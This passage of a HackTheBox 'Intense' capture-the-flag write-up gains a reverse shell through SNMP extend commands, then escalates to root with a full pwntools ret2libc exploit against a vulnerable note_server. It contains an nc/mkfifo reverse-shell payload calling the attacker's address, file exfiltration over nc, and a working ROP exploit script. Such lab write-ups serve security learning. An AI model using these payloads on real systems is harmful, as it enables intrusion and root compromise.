NET-SNMP-EXTEND-MIB::nsExtendArgs."command" = STRING: 10.10.14.254 4444 -e /bin/bash
[...]
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."command" = STRING: /bin/nc: invalid option -- 'e'
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
[-m minttl] [-O length] [-P proxy_username] [-p source_port]
[-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
[-X proxy_protocol] [-x proxy_address[:port]] [destination] [port]
[...]
Version of the netcat tool has some limitations, I have to search alternative reverse shell. This one, seems to work better.
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/openssh]
└──╼ $snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195 'nsExtendStatus."command"' = createAndGo 'nsExtendCommand."command"' = /bin/bash 'nsExtendArgs."command"' = '-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.254 4444 >/tmp/f"'
NET-SNMP-EXTEND-MIB::nsExtendStatus."command" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."command" = STRING: /bin/bash
NET-SNMP-EXTEND-MIB::nsExtendArgs."command" = STRING: -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.254 4444 >/tmp/f"
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/openssh]
└──╼ $snmpwalk -v 2c -c SuP3RPrivCom90 10.10.10.195 nsExtendObjects
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 6
NET-SNMP-EXTEND-MIB::nsExtendCommand."test1" = STRING: /bin/echo
NET-SNMP-EXTEND-MIB::nsExtendCommand."test2" = STRING: echo
NET-SNMP-EXTEND-MIB::nsExtendCommand."command" = STRING: /bin/bash
NET-SNMP-EXTEND-MIB::nsExtendArgs."test1" = STRING: Hello, world!
NET-SNMP-EXTEND-MIB::nsExtendArgs."test2" = STRING: Hello, world! ; echo Hi there ; exit 35
NET-SNMP-EXTEND-MIB::nsExtendArgs."command" = STRING: -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.254 4444 >/tmp/f"
NET-SNMP-EXTEND-MIB::nsExtendInput."test1" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendInput."test2" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendInput."command" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."test1" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."test2" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."command" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."test1" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendExecType."test2" = INTEGER: shell(2)
NET-SNMP-EXTEND-MIB::nsExtendExecType."command" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."test1" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."test2" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."command" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."test1" = INTEGER: permanent(4)
NET-SNMP-EXTEND-MIB::nsExtendStorage."test2" = INTEGER: permanent(4)
NET-SNMP-EXTEND-MIB::nsExtendStorage."command" = INTEGER: volatile(2)
NET-SNMP-EXTEND-MIB::nsExtendStatus."test1" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendStatus."test2" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendStatus."command" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."test1" = STRING: Hello, world!
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."test2" = STRING: Hello, world!
Timeout: No Response from 10.10.10.195
And my shell is spawned:
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/snmp/snmp] (master)
└──╼ $nc -lvp 4444
listening on [any] 4444 ...
10.10.10.195: inverse host lookup failed: Unknown host
connect to [10.10.14.254] from (UNKNOWN) [10.10.10.195] 39388
/bin/sh: 0: can't access tty; job control turned off
This shell is not tty as you can read, to solve the problem, is enough launch this command:
/usr/bin/script -qc /bin/bash /dev/null
The ROP and the ret2libc attack
Every time I took a step forward, I was stuck for days on the next step, identifying the next vulnerability to exploit. Again, I went through moments of total darkness, walking around the files and trying to identify what the next step could be. In this case my attention is captured by the executable file note_server and its relative source note_server.c contained in the folder of the user user. I notice that the process is running with administrative privileges.
$ ps -aux | grep note
root 1062 0.0 0.0 4380 748 ? Ss 04:10 0:00 /home/user/note_server
Debian-+ 25379 0.0 0.0 13136 1076 ? S 19:54 0:00 grep note
Reading the source code, the job of this process will be clear:
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFFER_SIZE 1024
void handle_client(int sock) {
char note[BUFFER_SIZE];
uint16_t index = 0;
uint8_t cmd;
// copy var
uint8_t buf_size;
uint16_t offset;
uint8_t copy_size;
while (1) {
// get command ID
if (read(sock, &cmd, 1) != 1) {
exit(1);
}
switch(cmd) {
// write note
case 1:
if (read(sock, &buf_size, 1) != 1) {
exit(1);
}
// prevent user to write over the buffer
if (index + buf_size > BUFFER_SIZE) {
exit(1);
}
// write note
if (read(sock, ¬e[index], buf_size) != buf_size) {
exit(1);
}
index += buf_size;
break;
// copy part of note to the end of the note
case 2:
// get offset from user want to copy
if (read(sock, &offset, 2) != 2) {
exit(1);
}
// sanity check: offset must be > 0 and < index
if (offset < 0 || offset > index) {
exit(1);
}
// get the size of the buffer we want to copy
if (read(sock, ©_size, 1) != 1) {
exit(1);
}
// prevent user to write over the buffer's note
if (index > BUFFER_SIZE) {
exit(1);
}
// copy part of the buffer to the end
memcpy(¬e[index], ¬e[offset], copy_size);
index += copy_size;
break;
// show note
case 3:
write(sock, note, index);
return;
}
}
}
int main( int argc, char *argv[] ) {
int sockfd, newsockfd, portno;
unsigned int clilen;
struct sockaddr_in serv_addr, cli_addr;
int pid;
/* ignore SIGCHLD, prevent zombies */
struct sigaction sigchld_action = {
.sa_handler = SIG_DFL,
.sa_flags = SA_NOCLDWAIT
};
sigaction(SIGCHLD, &sigchld_action, NULL);
/* First call to socket() function */
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("ERROR opening socket");
exit(1);
}
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int)) < 0)
perror("setsockopt(SO_REUSEADDR) failed");
/* Initialize socket structure */
bzero((char *) &serv_addr, sizeof(serv_addr));
portno = 5001;
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
serv_addr.sin_port = htons(portno);
/* Now bind the host address using bind() call.*/
if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
perror("ERROR on binding");
exit(1);
}
listen(sockfd,5);
clilen = sizeof(cli_addr);
while (1) {
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
if (newsockfd < 0) {
perror("ERROR on accept");
exit(1);
}
/* Create child process */
pid = fork();
if (pid < 0) {
perror("ERROR on fork");
exit(1);
}
if (pid == 0) {
/* This is the client process */
close(sockfd);
handle_client(newsockfd);
exit(0);
}
else {
close(newsockfd);
}
} /* end of while */
}
The service listens internally on port 5001. When a client connects, it spawns a new thread releasing its current connection and listens again for new clients. The new thread accepts three different commands:
- Insertion of data in a known variable of maximum 1024 bytes
- Appends at the end of the array a series of bytes extracted from the generated array of a length specified by the user.
- Print the stream and exit.
Well, to make a test, you can execute this command on the shell:
echo -n -e '\x01\x5TESTS\x02\x00\x00\x5\x3' | nc localhost 5001
After days of investigation, finally, searching for exploit that allow to execute commands through a running executable as root or injecting code, I found the ROP (Return-oriented programming) technique in the specific the ret2libc (Return-to-libc) attack. Online can be found a lot of documentation and tutorials, but due to the complexity of the argument and the huge of variations applicable, the understanding of this technique is really tricky. Anyway, I found a video, enough long (2h), that explain concept and practical example in details. I'm sorry (for you, but I'm happy for me), the video is in Italian, of a PhD student of the Pisa University.
The base concept of this technique is based to the overflow of a buffer (our note buffer in the note_server), in order to overwrite the stack with data that the process will execute. In the specific, we have to overwrite the RIP (Return Instruction Pointer, that represent the address where the subroutine return when finish) inside the stack with the address of the instruction we desire (for example you can execute the print function, or the write function, or everything else). We have to make attention also to some defense technique adopted in this case (like the canary defense).
I provide to you an article in English that I found interesting too, where it's clear enough.
Anyway, I try to explain here what we are trying to do, with a series of slides.
Well, hope the attack technique is clear. Remember that I have no access to the process on the target machine, so, I have to create something (a script, probably) that will do all the needs by itself. Anyway, to understand if my steps are correct, I will work on my local machine, running the process on my machine and trying to hacking it, based on this technique. An important thing is, anyway, that the libc that I'm using could not be the same used on the machine, so, I can provide the attack on my machine using my library, but when I provide the attack on the target machine, I have to reproduce the identified steps with the right one. So, prepare for that and check on the target machine, which is the libc used on it.
Debian-snmp@intense:/home/user$ gdb note_server
gdb note_server
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from note_server...(no debugging symbols found)...done.
(gdb) b *main
b *main
Breakpoint 1 at 0xd4a
(gdb) c
c
The program is not being run.
(gdb) r
r
Starting program: /home/user/note_server
Breakpoint 1, 0x0000555555554d4a in main ()
(gdb) info proc mappings
info proc mappings
process 31038
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x555555554000 0x555555556000 0x2000 0x0 /home/user/note_server
0x555555755000 0x555555756000 0x1000 0x1000 /home/user/note_server
0x555555756000 0x555555757000 0x1000 0x2000 /home/user/note_server
0x7ffff79e4000 0x7ffff7bcb000 0x1e7000 0x0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7bcb000 0x7ffff7dcb000 0x200000 0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcb000 0x7ffff7dcf000 0x4000 0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcf000 0x7ffff7dd1000 0x2000 0x1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dd1000 0x7ffff7dd5000 0x4000 0x0
0x7ffff7dd5000 0x7ffff7dfc000 0x27000 0x0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7fee000 0x7ffff7ff0000 0x2000 0x0
0x7ffff7ff7000 0x7ffff7ffa000 0x3000 0x0 [vvar]
---Type <return> to continue, or q <return> to quit---
From the maps of the linked library I identify the right lib (/lib/x86_64-linux-gnu/libc-2.27.so). I download it on my machine, using nc command; on my machine:
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/downloaded/user_home]
└──╼ $nc -l -p 4445 > libc-2.27.so
And on the remote machine:
Debian-snmp@intense:/home/user$ nc -w 3 10.10.14.68 4445 < /lib/x86_64-linux-gnu/libc-2.27.so
<.10.14.68 4445 < /lib/x86_64-linux-gnu/libc-2.27.so
I avoid to you all the fails I take and provide to you only the final version of the script I write, anyway, I comment all the code, in order to simplify the reading.
#!/usr/bin/env python3
#########################
# import needs
from pwn import *
import binascii
import os
#########################
# load the binary
exe = context.binary = ELF("note_server")
#############################################################
# load the libc related to the environment you are testing
#local = True
local = False
if (local):
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
else:
libc = ELF("libc-2.27.so")
#######################################
# referral to connect to the system
remotehost = ("127.0.0.1", 5001)
context.binary = exe.path
context.terminal = ['st', '-e', 'sh', '-c']
#############################################
# start function that connect to the service
def start(argv=[], *a, **kw):
return remote(*remotehost, *a, **kw)
#################################################################
###########################################
# this function send data to the service
def sendData_1(conn, data):
conn.send(b"\x01")
conn.send(bytes([len(data)]))
conn.send(data)
##############################################
# this function send data thar request the
# server to append part of the data received
# at the end of the notes
def appendData_2(conn, offset, size):
conn.send(b"\x02")
conn.send(p16(offset))
conn.send(bytes([size]))
#########################################
# this function ask to the service to
# print the received data
def printData_3(conn):
conn.send(b'\x03')
########################################
# this function retrieve data from the
# service and extract part of the stream
def readData(conn, from_b = 0, to_b = None):
return conn.recvall()[from_b:to_b]
########################################
# this function evaluate the address of
# the libc library in memory. It write
# the address of the function "write"
# inside the libc, using the same exploit
def get_libc_base_Address(module, can_rbp):
R = ROP(module)
R.write(4, module.got['write'])
excon = start()
sendData_1(excon, can_rbp)
rchainloc = R.chain()
sendData_1(excon, rchainloc)
fullstream = 1024 - (len(rchainloc) + len(can_rbp))
while fullstream > 0:
chartoadd = min(0xff, fullstream)
fullstream -= chartoadd
sendData_1(excon, cyclic(chartoadd))
appendData_2(excon, 0, len(rchainloc) + len(can_rbp))
printData_3(excon)
partial_stream = excon.recvall()
start_pos = 1024 + len(rchainloc) + len(can_rbp)
end_pos = start_pos + 8
addr_li = u64(partial_stream[start_pos:end_pos].ljust(8, b"\x00"))
return addr_li
io = start()
###########################################
# try to recover the canary and rbp values
# ...
# first of all fill the buffer
fullstream = 1024
while fullstream > 0:
chartoadd = min(0xff, fullstream)
fullstream -= chartoadd
sendData_1(io, cyclic(chartoadd))
# ...
# now take additional char, over the buffer
# in this case I'm asking too append the
# same data already in memory, that contains
# the canary value, the rbp value and the rip
# value. I need the first two, in order to
# don't overwrite it
appendData_2(io, 1024, 40)
# ...
# finally, ask the service to return the data
printData_3(io)
# ...
# and retrieve it (8 bytes of unknown data
# 8 byte for the canary and another 8 bytes
# for the rbp)
# Retrive also the rip that allow to evaluate
# the main address
canary_rbp_rip = readData(io, 1024, 1024 + 8 + 16 + 8)
canary_rbp = canary_rbp_rip[0:8 + 16]
canary_rbp_len = len(canary_rbp)
main_addr = u64(canary_rbp_rip[8 + 16:]) - 522
exe.address = main_addr - exe.sym.main
##############################################
# communication with the same thread provide
# errors, so create a new connection
io.close()
libc_base_address = get_libc_base_Address(exe,canary_rbp)
io = start()
###############################################
# now start the attack to the service
###############################################
###############################################################
# load the libc library to identify the bash shell to execute
# this address should be evaluated at runtime...
libc.address = libc_base_address - libc.sym.write
r = ROP(libc)
# this three line is really important (provide the output
# to the current shell)
r.dup2(4, 0)
r.dup2(4, 1)
r.dup2(4, 2)
# ask to the ROP package to create a sequence of bytes that
# identify the istructions to execute a shell
r.call(libc.sym.execve, [next(libc.search(b"/bin/sh")), 0, 0])
fchain = r.chain()
chain_len = len(fchain)
##############################################################
# prepare the dictionary with the sequence of bytes to send
payload = dict()
add = 0
#############################################################################
# prepare the dictionary with the sequence of bytes to send the objective to
# fill the 1024 char of the buffer and append the first block of data that
# contain the rigth bytes to activate the shell (without overwrite the canary
# and the rbp)
# ___________________________________________
# ________________/___________ ________\___________
# [ canary + rbp ][ shell code ][ additional char ] | [ canary + rbp + rip ]
# 0...............................................01024 /
# here is the stack______/
# ...
# First of all insert the canary and the rbv value to maintain [ canary + rbp ]
payload[add] = b"\x01"
add += 1
payload[add] = bytes([canary_rbp_len])
add += 1
payload[add] = canary_rbp
add += canary_rbp_len
# then append the shell execution [ shell code ]
payload[add] = b"\x01"
add += 1
payload[add] = bytes([chain_len])
add += 1
payload[add] = fchain
add += chain_len
# finally, fill the rest of the buffer with random data [ additional char ]
additional_char = 1024 - (chain_len + canary_rbp_len)
while additional_char > 0:
payload[add] = b"\x01"
add += 1
chartoadd = min(0xff, additional_char)
payload[add] = bytes([chartoadd])
add += 1
additional_char -= chartoadd
payload[add] = cyclic(chartoadd)
add += chartoadd
# add the bytes for the command that append the first part of the bytes
# to the end of the buffer
# start from the beginning of the original note
payload[add] = b"\x02\x00\x00"
add += 3
# and take the canary + the rbp and the shell execution
payload[add] = bytes([(chain_len + canary_rbp_len)])
add += 1
payload[add] = b"\x03"
# create the payload and send the attack
payload = fit(payload)
io.send(payload)
alldata = io.recv(len(payload))
io.interactive()
The script you are looking at is the result of many attempts, as well as a gross error, which I want to share with you, as an ironic event of an activity that lasted a long time and that really exhausted me. When I finally got a result on my machine, I moved to the remote machine to perform the attack on it, but to my amazement (and most of all discomfort), the exploit didn't work. More time spent identifying what the problem was and then realizing that the executable I had based on for my tests on my machine, was not the executable recovered from the remote machine, but a build made on my machine through the gcc conpilator . Replaced with the right version and fixed a few lines of code, the exploit also worked on the remote machine. Pay attention and focus during your activities.
And finally the root flag
The next step is to execute the script on the target machine; Inside me, I know it won't be that easy, infact, when I launch the script on the remote server:
Debian-snmp@intense:/tmp/vfast$ ./script.py
./script.py
Traceback (most recent call last):
File "./script.py", line 5, in <module>
from pwn import *
ModuleNotFoundError: No module named 'pwn'
and I can't install it, obviously. Well, a possible solution is to connect my local port 5001 to the remote-local port... A port-forward tunnel. Should be simple, but when I try, I encounter problems... what damn now... and an announcement by HTB it comes back to me. It informs that "all outbound connections on port 22 from the target machines back to the user machines are blocked by our internal firewall rules". OK, "keep calm and make the necessary changes".
On the remote machine:
Debian-snmp@intense:/$ ssh -R 5001:127.0.0.1:5001 [email protected] -p 220
ssh -R 5001:127.0.0.1:5001 [email protected] -p 220
[email protected]'s password: *********************
Linux Mykali 5.7.0-kali3-amd64 #1 SMP Debian 5.7.17-1kali1 (2020-08-26) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Sep 20 21:42:03 2020 from 10.10.10.195
┌─[in7rud3r@Mykali]─[~]
└──╼ $
Check if the port forwarding works:
┌─[✗]─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/downloaded/user_home]
└──╼ $ps -aux | grep note
in7rud3r 20247 0.0 0.0 6112 716 pts/7 S+ 22:44 0:00 grep --color=auto note
┌─[✗]─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/ssh-att]
└──╼ $echo -n -e '\x01\x5hello\x02\x00\x00\x5\x3' | nc localhost 5001
hellohello
It seems yes, so... the final attack:
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/downloaded/user_home]
└──╼ $./script.py
[*] '/home/in7rud3r/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/downloaded/user_home/note_server'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/in7rud3r/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/downloaded/user_home/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 127.0.0.1 on port 5001: Done
[+] Receiving all data: Done (1.04KB)
[*] Closed connection to 127.0.0.1 port 5001
[*] Loaded 14 cached gadgets for 'note_server'
[+] Opening connection to 127.0.0.1 on port 5001: Done
[+] Receiving all data: Done (2.14KB)
[*] Closed connection to 127.0.0.1 port 5001
[+] Opening connection to 127.0.0.1 on port 5001: Done
[*] Loaded 196 cached gadgets for 'libc-2.27.so'
[*] Switching to interactive mode
\xb8\xb9i\xff\x7f\x00j\x1e&\x9a\x7f\x00\x00\x00\x00\x00_\xf5\xf6&\x9a\x7f\x00\x04\x00\x00\x00\xa0\xe9'\x9a\x7f\x00j\x1e&\x9a\x7f\x00\x00\x00\x00\x00\xf5\xf6&\x9a\x7f\x00\x04\x00\x00\x00\xa0\xe9'\x9a\x7f\x00j\x1e&\x9a\x7f\x00\x00\x00\x00\x00\xf5\xf6&\x9a\x7f\x00\x04\x00\x00\x00\xa0\xe9'\x9a\x7f\x00\xd9\xe6\x07\x9a\x7f\x00\x00\x00\x00\x00\x00\x00\x00
$ whoami
root
$ cat /root/root.txt
2******************************0
$
Woooo... I'm really tired... but the satisfaction when a BOX is finished... Well, that's all folks (and enough I would like to say). Have a nice day and see you on the next BOX.